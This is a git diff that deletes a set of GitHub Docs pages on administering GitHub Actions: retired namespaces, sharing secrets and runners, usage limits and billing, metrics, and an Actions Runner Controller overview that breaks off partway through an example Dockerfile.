-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-children:
- - /usage-limits-billing-and-administration
- - /viewing-github-actions-metrics
- - /sharing-workflows-secrets-and-runners-with-your-organization
- - /making-retired-namespaces-available-on-ghecom
----
-
diff --git a/content/actions/administering-github-actions/making-retired-namespaces-available-on-ghecom.md b/content/actions/administering-github-actions/making-retired-namespaces-available-on-ghecom.md
deleted file mode 100644
index b8b6c1f08d7b..000000000000
--- a/content/actions/administering-github-actions/making-retired-namespaces-available-on-ghecom.md
+++ /dev/null
@@ -1,32 +0,0 @@
----
-title: 'Making retired namespaces available on GHE.com'
-shortTitle: Retired namespaces on GHE.com
-intro: 'Allow people to use namespaces that match actions you have used from {% data variables.product.prodname_dotcom_the_website %}.'
-versions:
- ghec: '*'
-type: how_to
-permissions: Enterprise owners
----
-
-## About retirement of namespaces
-
-If you use {% data variables.enterprise.data_residency %}, members of your enterprise can create {% data variables.product.prodname_actions %} workflows that use actions directly from {% data variables.product.prodname_dotcom_the_website %} or [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace?type=actions).
-
-{% data variables.product.prodname_actions %} searches your enterprise on {% data variables.enterprise.data_residency_site %} for each action before falling back to {% data variables.product.prodname_dotcom_the_website %}. This ensures that custom versions of actions in your enterprise are used in preference to their counterparts on {% data variables.product.prodname_dotcom_the_website %}.
-
-To ensure workflows use their intended actions and to block the potential for abuse, once an action on {% data variables.product.prodname_dotcom_the_website %} is used for the first time, the namespace associated with that action is retired in your enterprise. This blocks users from creating an organization and repository in your enterprise that match the action's namespace on {% data variables.product.prodname_dotcom_the_website %}.
-
-## Making a retired namespace available
-
-After using an action from {% data variables.product.prodname_dotcom_the_website %}, if you want to create an action in your enterprise with the same name, you need to make the namespace for that organization and repository available.
-
-{% data reusables.enterprise-accounts.access-enterprise-emu %}
-{% data reusables.enterprise-accounts.settings-tab %}
-1. Under **{% octicon "gear" aria-hidden="true" %} Settings**, click **Retired namespaces**.
-1. To the right of the namespace that you want use in your enterprise, click **Unretire**.
-1. Go to the relevant organization and create a new repository.
-
-### Tips for ensuring you can create a new repository
-
-* When you unretire a namespace, always create the new repository with that name as soon as possible. If a workflow calls the associated action on {% data variables.product.prodname_dotcom_the_website %} before you create the local repository, the namespace will be retired again.
-* For actions used in workflows that run frequently, you may find that a namespace is retired again before you have time to create the local repository. In this case, you can temporarily disable the relevant workflows until you have created the new repository.
diff --git a/content/actions/administering-github-actions/sharing-workflows-secrets-and-runners-with-your-organization.md b/content/actions/administering-github-actions/sharing-workflows-secrets-and-runners-with-your-organization.md
deleted file mode 100644
index c7e6b6b08f5a..000000000000
--- a/content/actions/administering-github-actions/sharing-workflows-secrets-and-runners-with-your-organization.md
+++ /dev/null
@@ -1,68 +0,0 @@
----
-title: 'Sharing workflows, secrets, and runners with your organization'
-shortTitle: Share workflows with your organization
-intro: 'Learn how you can use organization features to collaborate with your team, by sharing workflow templates, secrets, variables, and self-hosted runners.'
-redirect_from:
- - /actions/learn-github-actions/sharing-workflows-with-your-organization
- - /actions/learn-github-actions/sharing-workflows-secrets-and-runners-with-your-organization
- - /actions/using-workflows/sharing-workflows-secrets-and-runners-with-your-organization
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-type: how_to
----
-
-{% data reusables.actions.enterprise-github-hosted-runners %}
-
-## Overview
-
-If you need to share workflows and other {% data variables.product.prodname_actions %} features with your team, then consider collaborating within a {% data variables.product.prodname_dotcom %} organization. An organization allows you to centrally store and manage secrets, artifacts, and self-hosted runners. You can also create workflow templates in the `.github` repository and share them with other users in your organization.
-
-## Sharing {% ifversion ghec or ghes %}actions and {% endif %}workflows
-
-{% ifversion ghec or ghes %}
-You can share both individual actions and entire workflows with your organization, with or without publishing the actions or workflows publicly. You can reuse actions and workflows exactly by referencing them in your workflow file, and you can create workflow templates.
-{% else %}
-Your organization can share workflows by reusing the workflows exactly or by creating workflow templates
-{% endif %}
-
-{% ifversion ghec or ghes %}
-
-### Sharing actions with your enterprise
-
-{% data reusables.actions.internal-actions-summary %}
-{% endif %}
-
-### Reusing workflows
-
-{% data reusables.actions.reusable-workflows %}
-
-### Using workflow templates
-
-{% data reusables.actions.workflow-organization-templates %} For more information, see [AUTOTITLE](/actions/using-workflows/creating-starter-workflows-for-your-organization).
-
-## Sharing secrets and variables within an organization
-
-You can centrally manage your secrets and variables within an organization, and then make them available to selected repositories. This also means that you can update a secret or variable in one location, and have the change apply to all repository workflows that use it.
-
-When creating a secret or variable in an organization, you can use a policy to limit which repositories can access it. For example, you can grant access to all repositories, or limit access to only private repositories or a specified list of repositories.
-
-{% data reusables.actions.permissions-statement-secrets-and-variables-organization %}
-
-{% data reusables.organizations.navigate-to-org %}
-{% data reusables.organizations.org_settings %}
-{% data reusables.actions.sidebar-secrets-and-variables %}
-1. Click the **Secrets** or **Variables** tab, and create the secret or variable with your desired values and options.
-
- For more information, see [AUTOTITLE](/actions/security-guides/using-secrets-in-github-actions#creating-secrets-for-an-organization) or [AUTOTITLE](/actions/learn-github-actions/variables#creating-configuration-variables-for-an-organization).
-
-## Share self-hosted runners within an organization
-
-Organization owners can add their self-hosted runners to groups, and then create policies that control which repositories can access the group.
-
-For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/managing-access-to-self-hosted-runners-using-groups).
-
-## Next steps
-
-To continue learning about {% data variables.product.prodname_actions %}, see [AUTOTITLE](/actions/using-workflows/creating-starter-workflows-for-your-organization).
diff --git a/content/actions/administering-github-actions/usage-limits-billing-and-administration.md b/content/actions/administering-github-actions/usage-limits-billing-and-administration.md
deleted file mode 100644
index c98c46e3c593..000000000000
--- a/content/actions/administering-github-actions/usage-limits-billing-and-administration.md
+++ /dev/null
@@ -1,134 +0,0 @@
----
-title: 'Usage limits, billing, and administration'
-intro: 'There are usage limits for {% data variables.product.prodname_actions %} workflows. Usage charges apply to repositories that go beyond the amount of free minutes and storage for a repository.'
-redirect_from:
- - /actions/getting-started-with-github-actions/usage-and-billing-information-for-github-actions
- - /actions/reference/usage-limits-billing-and-administration
- - /actions/learn-github-actions/usage-limits-billing-and-administration
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-topics:
- - Billing
-shortTitle: Workflow billing & limits
----
-
-{% data reusables.actions.enterprise-github-hosted-runners %}
-
-## About billing for {% data variables.product.prodname_actions %}
-
-{% data reusables.repositories.about-github-actions %} For more information, see [AUTOTITLE](/actions/learn-github-actions/understanding-github-actions){% ifversion fpt %}.{% elsif ghes or ghec %} and [AUTOTITLE](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/about-github-actions-for-enterprises).{% endif %}
-
-{% ifversion fpt or ghec %}
-{% data reusables.actions.actions-billing %} For more information, see [AUTOTITLE](/billing/managing-billing-for-github-actions/about-billing-for-github-actions).
-{% else %}
-GitHub Actions usage is free for {% data variables.product.prodname_ghe_server %} instances that use self-hosted runners. For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/about-self-hosted-runners).
-{% endif %}
-
-{% ifversion fpt or ghec %}
-
-## Availability
-
-{% data variables.product.prodname_actions %} is available on all {% data variables.product.prodname_dotcom %} products, but {% data variables.product.prodname_actions %} is not available for private repositories owned by accounts using legacy per-repository plans. {% data reusables.gated-features.more-info %}
-
-{% endif %}
-
-## Usage limits
-
-{% ifversion fpt or ghec %}
-There are some limits on {% data variables.product.prodname_actions %} usage when using {% data variables.product.prodname_dotcom %}-hosted runners. These limits are subject to change.
-
-> [!NOTE]
-> For self-hosted runners, different usage limits apply. For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/about-self-hosted-runners#usage-limits).
-
-* **Job execution time** - Each job in a workflow can run for up to 6 hours of execution time. If a job reaches this limit, the job is terminated and fails to complete.
-{% data reusables.actions.usage-workflow-run-time %}
-{% data reusables.actions.usage-api-requests %}
-* **Webhook rate limit** - Each repository is limited to 1500 events triggering a workflow run every 10 seconds. When the limit is reached, the workflow runs that were supposed to be triggered by the webhook events will be blocked and will not be queued.
-* **Concurrent jobs** - The number of concurrent jobs you can run in your account depends on your {% data variables.product.prodname_dotcom %} plan, as well as the type of runner used. If exceeded, any additional jobs are queued.
-
- **Standard {% data variables.product.prodname_dotcom %}-hosted runners**
-
- | GitHub plan | Total concurrent jobs | Maximum concurrent macOS jobs |
- |---|---|---|
- | Free | 20 | 5 |
- | Pro | 40 | 5 |
- | Team | 60 | 5 |
- | Enterprise | 500 | 50 |
-
- **{% data variables.product.prodname_dotcom %}-hosted {% data variables.actions.hosted_runner %}s**
-
- | GitHub plan | Total concurrent jobs | Maximum concurrent macOS jobs | Maximum concurrent GPU jobs |
- |---|---|---|---|
- | Team | 1000 | 5 | 100 |
- | Enterprise | 1000 | 50 | 100 |
-
- > [!NOTE]
- > * If required, customers on enterprise plans can request a higher limit for concurrent jobs. For more information, contact us through the {% data variables.contact.contact_support_portal %}, or contact your sales representative.
- > * The maximum concurrent macOS jobs is shared across standard {% data variables.product.prodname_dotcom %}-hosted runner and {% data variables.product.prodname_dotcom %}-hosted {% data variables.actions.hosted_runner %}s.
-
-* **Job matrix** - {% data reusables.actions.usage-matrix-limits %}
-{% data reusables.actions.usage-workflow-queue-limits %}
-
-{% else %}
-Usage limits apply to self-hosted runners. For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/about-self-hosted-runners#usage-limits).
-{% endif %}
-
-{% ifversion fpt or ghec %}
-
-## Usage policy
-
-In addition to the usage limits, you must ensure that you use {% data variables.product.prodname_actions %} within the [GitHub Terms of Service](/free-pro-team@latest/site-policy/github-terms/github-terms-of-service). For more information on {% data variables.product.prodname_actions %}-specific terms, see the [GitHub Additional Product Terms](/free-pro-team@latest/site-policy/github-terms/github-terms-for-additional-products-and-features#a-actions-usage).
-{% endif %}
-
-{% ifversion fpt or ghec %}
-
-## {% data variables.product.prodname_actions %} usage metrics
-
-Organization owners and users with the "View organization Actions metrics" permission can view {% data variables.product.prodname_actions %} usage metrics for their organization. These metrics can help you understand how and where your Actions minutes are being used. For more information, see [AUTOTITLE](/enterprise-cloud@latest/organizations/collaborating-with-groups-in-organizations/viewing-usage-metrics-for-github-actions).
-
-When you view usage metrics, it is important to remember that {% data reusables.actions.actions-usage-metrics-not-billing-metrics %}
-
-{% endif %}
-
-## Billing for reusable workflows
-
-If you reuse a workflow, billing is always associated with the caller workflow. Assignment of {% data variables.product.prodname_dotcom %}-hosted runners is always evaluated using only the caller's context. The caller cannot use {% data variables.product.prodname_dotcom %}-hosted runners from the called repository.
-
-For more information see, [AUTOTITLE](/actions/using-workflows/reusing-workflows).
-
-## Artifact and log retention policy
-
-You can configure the artifact and log retention period for your repository, organization, or enterprise account.
-
-{% data reusables.actions.about-artifact-log-retention %}
-
-For more information, see:
-
-* [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-repository)
-* [AUTOTITLE](/organizations/managing-organization-settings/configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-organization)
-* [AUTOTITLE](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#enforcing-a-policy-for-artifact-and-log-retention-in-your-enterprise)
-
-## Workflow run history retention policy
-
-The workflow runs in a repository's workflow run history are retained for 400 days. After 400 days, workflow runs are archived. 10 days after archival, they are permanently deleted. The retention period for workflow runs cannot be modified. For more information, see [AUTOTITLE](/actions/monitoring-and-troubleshooting-workflows/monitoring-workflows/viewing-workflow-run-history).
-
-## Disabling or limiting {% data variables.product.prodname_actions %} for your repository or organization
-
-{% data reusables.actions.disabling-github-actions %}
-
-{% ifversion ghes %}You can also manage {% data variables.product.prodname_actions %} settings for your enterprise, such as workflow permissions and cache storage.{% endif %}
-
-For more information, see:
-* [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository)
-* [AUTOTITLE](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization)
-* [AUTOTITLE](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise)
-
-## Disabling and enabling workflows
-
-You can enable and disable individual workflows in your repository on {% data variables.product.prodname_dotcom %}.
-
-{% data reusables.actions.scheduled-workflows-disabled %}
-
-For more information, see [AUTOTITLE](/actions/managing-workflow-runs/disabling-and-enabling-a-workflow).
diff --git a/content/actions/administering-github-actions/viewing-github-actions-metrics.md b/content/actions/administering-github-actions/viewing-github-actions-metrics.md
deleted file mode 100644
index d48f6c3b66e7..000000000000
--- a/content/actions/administering-github-actions/viewing-github-actions-metrics.md
+++ /dev/null
@@ -1,45 +0,0 @@
----
-title: Viewing GitHub Actions metrics
-shortTitle: GitHub Actions metrics
-intro: 'You can view metrics to monitor where your organization or repositories use {% data variables.product.prodname_actions %} and how they are performing.'
-permissions: Organization owners and users with the "View organization Actions metrics" permission can view organization-level metrics.
Users with the base repository role can view repository-level metrics.
-versions:
- feature: actions-metrics
-redirect_from:
- - /actions/monitoring-and-troubleshooting-workflows/viewing-github-actions-usage-metrics-for-your-organization
- - /actions/administering-github-actions/viewing-github-actions-usage-metrics-for-your-organization
- - /actions/administering-github-actions/viewing-github-actions-metrics-for-your-organization
----
-
-{% data reusables.actions.about-actions-metrics %}
-
-{% data reusables.actions.enabling-actions-metrics %}
-
-## About {% data variables.product.prodname_actions %} usage metrics
-
-{% data reusables.actions.about-actions-usage-metrics %}
-
-## About {% data variables.product.prodname_actions %} performance metrics
-
-{% data reusables.actions.about-actions-performance-metrics %}
-
-## Understanding {% data variables.product.prodname_actions %} metrics aggregation
-
-{% data reusables.actions.about-actions-usage-metrics-aggregation %}
-
-## Viewing {% data variables.product.prodname_actions %} metrics for your organization
-
-{% data reusables.actions.actions-metrics-discrepancy-note %}
-
-{% data reusables.profile.access_org %}
-{% data reusables.user-settings.access_org %}
-{% data reusables.organizations.insights %}
-{% data reusables.actions.viewing-actions-metrics %}
-
-## Viewing {% data variables.product.prodname_actions %} metrics for your repository
-
-{% data reusables.actions.actions-metrics-discrepancy-note %}
-
-{% data reusables.repositories.navigate-to-repo %}
-{% data reusables.repositories.navigate-to-insights %}
-{% data reusables.actions.viewing-actions-metrics %}
diff --git a/content/actions/guides.md b/content/actions/guides.md
deleted file mode 100644
index d5cfdfb0948c..000000000000
--- a/content/actions/guides.md
+++ /dev/null
@@ -1,70 +0,0 @@
----
-title: 'Guides for {% data variables.product.prodname_actions %}'
-intro: 'These guides for {% data variables.product.prodname_actions %} include specific use cases and examples to help you configure workflows.'
-allowTitleToDifferFromFilename: true
-layout: product-guides
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-learningTracks:
- - getting_started
- - adopting_github_actions_for_your_enterprise_ghec
- - adopting_github_actions_for_your_enterprise_ghes
- - hosting_your_own_runners
- - create_actions
-includeGuides:
- - /actions/writing-workflows/quickstart
- - /actions/about-github-actions/understanding-github-actions
- - /actions/sharing-automations/creating-actions/creating-a-docker-container-action
- - /actions/writing-workflows/using-workflow-templates
- - /actions/use-cases-and-examples/building-and-testing/building-and-testing-python
- - /actions/use-cases-and-examples/building-and-testing/building-and-testing-nodejs
- - /actions/use-cases-and-examples/publishing-packages/about-packaging-with-github-actions
- - /actions/use-cases-and-examples/publishing-packages/publishing-docker-images
- - /actions/writing-workflows/choosing-what-your-workflow-does/caching-dependencies-to-speed-up-workflows
- - /actions/about-github-actions/about-continuous-integration-with-github-actions
- - /actions/use-cases-and-examples/building-and-testing/building-and-testing-powershell
- - /actions/use-cases-and-examples/building-and-testing/building-and-testing-ruby
- - /actions/use-cases-and-examples/building-and-testing/building-and-testing-java-with-maven
- - /actions/use-cases-and-examples/building-and-testing/building-and-testing-java-with-gradle
- - /actions/use-cases-and-examples/building-and-testing/building-and-testing-java-with-ant
- - /actions/use-cases-and-examples/building-and-testing/building-and-testing-swift
- - /actions/use-cases-and-examples/deploying/installing-an-apple-certificate-on-macos-runners-for-xcode-development
- - /actions/use-cases-and-examples/building-and-testing/building-and-testing-xamarin-applications
- - /actions/use-cases-and-examples/publishing-packages/publishing-nodejs-packages
- - /actions/use-cases-and-examples/publishing-packages/publishing-java-packages-with-maven
- - /actions/use-cases-and-examples/publishing-packages/publishing-java-packages-with-gradle
- - /actions/writing-workflows/choosing-what-your-workflow-does/storing-and-sharing-data-from-a-workflow
- - /actions/use-cases-and-examples/using-containerized-services/about-service-containers
- - /actions/use-cases-and-examples/using-containerized-services/creating-redis-service-containers
- - /actions/use-cases-and-examples/using-containerized-services/creating-postgresql-service-containers
- - /actions/use-cases-and-examples/deploying/deploying-to-amazon-elastic-container-service
- - /actions/use-cases-and-examples/deploying/deploying-to-google-kubernetes-engine
- - /actions/sharing-automations/creating-actions/about-custom-actions
- - /actions/sharing-automations/creating-actions/creating-a-javascript-action
- - /actions/sharing-automations/creating-actions/creating-a-composite-action
- - /actions/migrating-to-github-actions/manually-migrating-to-github-actions/migrating-from-azure-pipelines-to-github-actions
- - /actions/migrating-to-github-actions/manually-migrating-to-github-actions/migrating-from-circleci-to-github-actions
- - /actions/migrating-to-github-actions/manually-migrating-to-github-actions/migrating-from-gitlab-cicd-to-github-actions
- - /actions/migrating-to-github-actions/manually-migrating-to-github-actions/migrating-from-jenkins-to-github-actions
- - /actions/migrating-to-github-actions/manually-migrating-to-github-actions/migrating-from-travis-ci-to-github-actions
- - /actions/use-cases-and-examples/project-management/using-github-actions-for-project-management
- - /actions/use-cases-and-examples/project-management/closing-inactive-issues
- - /actions/use-cases-and-examples/project-management/scheduling-issue-creation
- - /actions/use-cases-and-examples/project-management/adding-labels-to-issues
- - /actions/use-cases-and-examples/project-management/commenting-on-an-issue-when-a-label-is-added
- - /actions/use-cases-and-examples/project-management/moving-assigned-issues-on-project-boards
- - /actions/use-cases-and-examples/project-management/removing-a-label-when-a-card-is-added-to-a-project-board-column
- - /code-security/dependabot/working-with-dependabot/automating-dependabot-with-github-actions
- - /code-security/dependabot/working-with-dependabot/keeping-your-actions-up-to-date-with-dependabot
- - /actions/use-cases-and-examples/deploying/deploying-docker-to-azure-app-service
- - /actions/use-cases-and-examples/deploying/deploying-java-to-azure-app-service
- - /actions/use-cases-and-examples/deploying/deploying-net-to-azure-app-service
- - /actions/use-cases-and-examples/deploying/deploying-nodejs-to-azure-app-service
- - /actions/use-cases-and-examples/deploying/deploying-php-to-azure-app-service
- - /actions/use-cases-and-examples/deploying/deploying-python-to-azure-app-service
- - /actions/use-cases-and-examples/deploying/deploying-to-azure-static-web-app
- - /actions/use-cases-and-examples/deploying/deploying-to-azure-kubernetes-service
----
-
diff --git a/content/actions/hosting-your-own-runners/index.md b/content/actions/hosting-your-own-runners/index.md
deleted file mode 100644
index 6bfc92c4cb66..000000000000
--- a/content/actions/hosting-your-own-runners/index.md
+++ /dev/null
@@ -1,23 +0,0 @@
----
-title: Hosting your own runners
-shortTitle: Self-hosted runners
-intro: You can create self-hosted runners to run workflows in a highly customizable environment.
-redirect_from:
- - /github/automating-your-workflow-with-github-actions/hosting-your-own-runners
- - /actions/automating-your-workflow-with-github-actions/hosting-your-own-runners
- - /actions/using-github-hosted-runners/about-ae-hosted-runners
- - /actions/using-github-hosted-runners/adding-ae-hosted-runners
- - /actions/using-github-hosted-runners/using-ae-hosted-runners-in-a-workflow
- - /actions/using-github-hosted-runners/using-labels-with-ae-hosted-runners
- - /actions/using-github-hosted-runners/using-groups-to-manage-access-to-ae-hosted-runners
- - /actions/using-github-hosted-runners/creating-custom-images
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-children:
- - /managing-self-hosted-runners
- - /managing-self-hosted-runners-with-actions-runner-controller
----
-
-{% data reusables.actions.enterprise-github-hosted-runners %}
diff --git a/content/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/about-actions-runner-controller.md b/content/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/about-actions-runner-controller.md
deleted file mode 100644
index 6717dd125c2f..000000000000
--- a/content/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/about-actions-runner-controller.md
+++ /dev/null
@@ -1,185 +0,0 @@
----
-title: About Actions Runner Controller
-shortTitle: About ARC
-intro: 'You can host your own runners and customize the environment used to run jobs in your {% data variables.product.prodname_actions %} workflows.'
-layout: inline
-versions:
- fpt: '*'
- ghec: '*'
- ghes: '*'
-type: overview
-topics:
- - Actions Runner Controller
----
-
-[Legal notice](#legal-notice)
-
-## About {% data variables.product.prodname_actions_runner_controller %}
-
-{% data reusables.actions.actions-runner-controller-about-arc %}
-
-The following diagram illustrates the architecture of ARC's autoscaling runner scaleset mode.
-
-> [!NOTE]
-> To view the following diagram in a larger size, see the [Autoscaling Runner Scale Sets mode](https://github.com/actions/actions-runner-controller/blob/master/docs/gha-runner-scale-set-controller/README.md#how-it-works) documentation in the Actions Runner Controller repository.
-
-
-
-
-
-1. {% data variables.product.prodname_actions_runner_controller %} is installed using the supplied Helm charts, and the controller manager pod is deployed in the specified namespace. A new AutoScalingRunnerSet resource is deployed via the supplied Helm charts or a customized manifest file. The AutoScalingRunnerSet Controller calls GitHub's APIs to fetch the runner group ID that the runner scale set will belong to.
-1. The AutoScalingRunnerSet Controller calls the APIs one more time to either fetch or create a runner scale set in the {% data variables.product.prodname_actions %} service before creating the Runner ScaleSet Listener resource.
-1. A Runner ScaleSet Listener pod is deployed by the AutoScalingListener Controller. In this pod, the listener application connects to the {% data variables.product.prodname_actions %} Service to authenticate and establish an HTTPS long poll connection. The listener stays idle until it receives a `Job Available` message from the {% data variables.product.prodname_actions %} Service.
-1. When a workflow run is triggered from a repository, the {% data variables.product.prodname_actions %} Service dispatches individual job runs to the runners or runner scalesets where the `runs-on` key matches the name of the runner scaleset or labels of self-hosted runners.
-1. When the Runner ScaleSet Listener receives the `Job Available` message, it checks whether it can scale up to the desired count. If it can, the Runner ScaleSet Listener acknowledges the message.
-1. The Runner ScaleSet Listener uses a Service Account and a Role bound to that account to make an HTTPS call through the Kubernetes APIs to patch the Ephemeral RunnerSet resource with the number of desired replicas count.
-1. The Ephemeral RunnerSet attempts to create new runners and the EphemeralRunner Controller requests a Just-in-Time (JIT) configuration token to register these runners. The controller attempts to create runner pods. If the pod's status is `failed`, the controller retries up to 5 times. After 24 hours the {% data variables.product.prodname_actions %} Service unassigns the job if no runner accepts it.
-1. Once the runner pod is created, the runner application in the pod uses the JIT configuration token to register itself with the {% data variables.product.prodname_actions %} Service. It then establishes another HTTPS long poll connection to receive the job details it needs to execute.
-1. The {% data variables.product.prodname_actions %} Service acknowledges the runner registration and dispatches the job run details.
-1. Throughout the job run execution, the runner continuously communicates the logs and job run status back to the {% data variables.product.prodname_actions %} Service.
-1. When the runner completes its job successfully, the EphemeralRunner Controller checks with the {% data variables.product.prodname_actions %} Service to see if runner can be deleted. If it can, the Ephemeral RunnerSet deletes the runner.
-
-## {% data variables.product.prodname_actions_runner_controller %} components
-
-ARC consists of a set of resources, some of which are created specifically for ARC. An ARC deployment applies these resources onto a Kubernetes cluster. Once applied, it creates a set of Pods that contain your self-hosted runners' containers. With ARC, {% data variables.product.company_short %} can treat these runner containers as self-hosted runners and allocate jobs to them as needed.
-
-Each resource that is deployed by ARC is given a name composed of:
-
-* An installation name, which is the installation name you specify when you install the Helm chart.
-* A resource identification suffix, which is a string that identifies the resource type. This value is not configurable.
-
-> [!NOTE]
-> Different versions of Kubernetes have different length limits for names of resources. The length limit for the resource name is calculated by adding the length of the installation name and the length of the resource identification suffix. If the resource name is longer than the reserved length, you will receive an error.
-
-### Resources deployed by `gha-runner-scale-set-controller`
-
-| Template | Resource Kind | Name | Reserved Length | Description | Notes |
-|-------|---------------|------|-----------------|-------------|-------|
-| `deployment.yaml` | Deployment | INSTALLATION_NAME-gha-rs-controller | 18 | The resource running controller-manager | The pods created by this resource have the ReplicaSet suffix and the Pod suffix. |
-| `serviceaccount.yaml` | ServiceAccount | INSTALLATION_NAME-gha-rs-controller | 18 | This is created if `serviceAccount.create` in `values.yaml` is set to true. | The name can be customized in `values.yaml` |
-| `manager_cluster_role.yaml` | ClusterRole | INSTALLATION_NAME-gha-rs-controller | 18 | ClusterRole for the controller manager | This is created if the value of `flags.watchSingleNamespace` is empty. |
-| `manager_cluster_role_binding.yaml` | ClusterRoleBinding | INSTALLATION_NAME-gha-rs-controller | 18 | ClusterRoleBinding for the controller manager | This is created if the value of `flags.watchSingleNamespace` is empty. |
-| `manager_single_namespace_controller_role.yaml` | Role | INSTALLATION_NAME-gha-rs-controller-single-namespace | 35 | Role for the controller manager | This is created if the value of `flags.watchSingleNamespace` is set. |
-| `manager_single_namespace_controller_role_binding.yaml` | RoleBinding | INSTALLATION_NAME-gha-rs-controller-single-namespace | 35 | RoleBinding for the controller manager | This is created if the value of `flags.watchSingleNamespace` is set. |
-| `manager_single_namespace_watch_role.yaml` | Role | INSTALLATION_NAME-gha-rs-controller-single-namespace-watch | 41 | Role for the controller manager for the namespace configured | This is created if the value of `flags.watchSingleNamespace` is set. |
-| `manager_single_namespace_watch_role_binding.yaml` | RoleBinding | INSTALLATION_NAME-gha-rs-controller-single-namespace-watch | 41 | RoleBinding for the controller manager for the namespace configured | This is created if the value of `flags.watchSingleNamespace` is set. |
-| `manager_listener_role.yaml` | Role | INSTALLATION_NAME-gha-rs-controller-listener | 26 | Role for the listener | This is always created. |
-| `manager_listener_role_binding.yaml `| RoleBinding | INSTALLATION_NAME-gha-rs-controller-listener | 26 | RoleBinding for the listener | This is always created and binds the listener role with the service account, which is either created by `serviceaccount.yaml` or configured with `values.yaml`. |
-
-### Resources deployed by `gha-runner-scale-set`
-
-| Template | Resource Kind | Name | Reserved Length | Description | Notes |
-|-------|---------------|------|-----------------|-------------|-------|
-| `autoscalingrunnerset.yaml` | AutoscalingRunnerSet | INSTALLATION_NAME | 0 | Top level resource working with scale sets | The name is limited to 45 characters in length. |
-| `no_permission_service_account.yaml` | ServiceAccount | INSTALLATION_NAME-gha-rs-no-permission | 21 | Service account mounted to the runner container | This is created if the container mode is not "kubernetes" and `template.spec.serviceAccountName` is not specified. |
-| `githubsecret.yaml` | Secret | INSTALLATION_NAME-gha-rs-github-secret | 20 | Secret containing values needed to authenticate to the GitHub API | This is created if `githubConfigSecret` is an object. If a string is provided, this secret will not be created. |
-| `manager_role.yaml` | Role | INSTALLATION_NAME-gha-rs-manager | 15 | Role provided to the manager to be able to reconcile on resources in the autoscaling runner set's namespace | This is always created. |
-| `manager_role_binding.yaml` | RoleBinding | INSTALLATION_NAME-gha-rs-manager | 15 | Binding manager_role to the manager service account. | This is always created. |
-| `kube_mode_role.yaml` | Role | INSTALLATION_NAME-gha-rs-kube-mode | 17 | Role providing necessary permissions for the hook | This is created when the container mode is set to "kubernetes" and `template.spec.serviceAccount` is not provided. |
-| `kube_mode_serviceaccount.yaml` | ServiceAccount | INSTALLATION_NAME-gha-rs-kube-mode | 17 | Service account bound to the runner pod. | This is created when the container mode is set to "kubernetes" and `template.spec.serviceAccount` is not provided. |
-
-### About custom resources
-
-ARC consists of several custom resource definitions (CRDs). For more information on custom resources, see [Custom Resources](https://kubernetes.io/docs/concepts/extend-kubernetes/api-extension/custom-resources/) in the Kubernetes documentation. You can find the list of custom resource definitions used for ARC in the following API schema definitions.
-
-* [actions.github.com/v1alpha1](https://pkg.go.dev/github.com/actions/actions-runner-controller/apis/actions.github.com/v1alpha1)
-* [actions.summerwind.net/v1alpha1](https://pkg.go.dev/github.com/actions/actions-runner-controller/apis/actions.summerwind.net/v1alpha1)
-
-Because custom resources are extensions of the Kubernetes API, they won't be available in a default Kubernetes installation. You will need to install these custom resources to use ARC. For more information on installing custom resources, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/quickstart-for-actions-runner-controller).
-
-Once the custom resources are installed, you can deploy ARC into your Kubernetes cluster. For information about deploying ARC, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/deploying-runner-scale-sets-with-actions-runner-controller).
-
-### About the runner container image
-
-{% data variables.product.company_short %} maintains a [minimal runner container image](https://github.com/actions/runner/pkgs/container/actions-runner). A new image will be published with every runner binaries release. The most recent image will have the runner binaries version and `latest` as tags.
-
-This image contains the least amount of packages necessary for the container runtime and the runner binaries. To install additional software, you can create your own runner image. You can use ARC's runner image as a base, or use the corresponding setup actions. For instance, `actions/setup-java` for Java or `actions/setup-node` for Node.
-
-You can find the definition of ARC's runner image in [this Dockerfile](https://github.com/actions/runner/blob/main/images/Dockerfile) and the definition of the base image in [this Dockerfile](https://github.com/dotnet/dotnet-docker/blob/main/src/runtime-deps/8.0/bookworm-slim/amd64/Dockerfile).
-
-#### Creating your own runner image
-
-You can create your own runner image that meets your requirements. Your runner image must fulfill the following conditions.
-
-* Use a base image that can run the self-hosted runner application. For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/about-self-hosted-runners).
-* The [runner binary](https://github.com/actions/runner/releases) must be placed under `/home/runner/` and launched using `/home/runner/run.sh`.
-* If you use Kubernetes mode, the [runner container hooks](https://github.com/actions/runner-container-hooks/releases) must be placed under `/home/runner/k8s`.
-
-You can use the following example Dockerfile to start creating your own runner image.
-
-```dockerfile copy
-FROM mcr.microsoft.com/dotnet/runtime-deps:6.0 as build
-
-# Replace value with the latest runner release version
-# source: https://github.com/actions/runner/releases
-# ex: 2.303.0
-ARG RUNNER_VERSION=""
-ARG RUNNER_ARCH="x64"
-# Replace value with the latest runner-container-hooks release version
-# source: https://github.com/actions/runner-container-hooks/releases
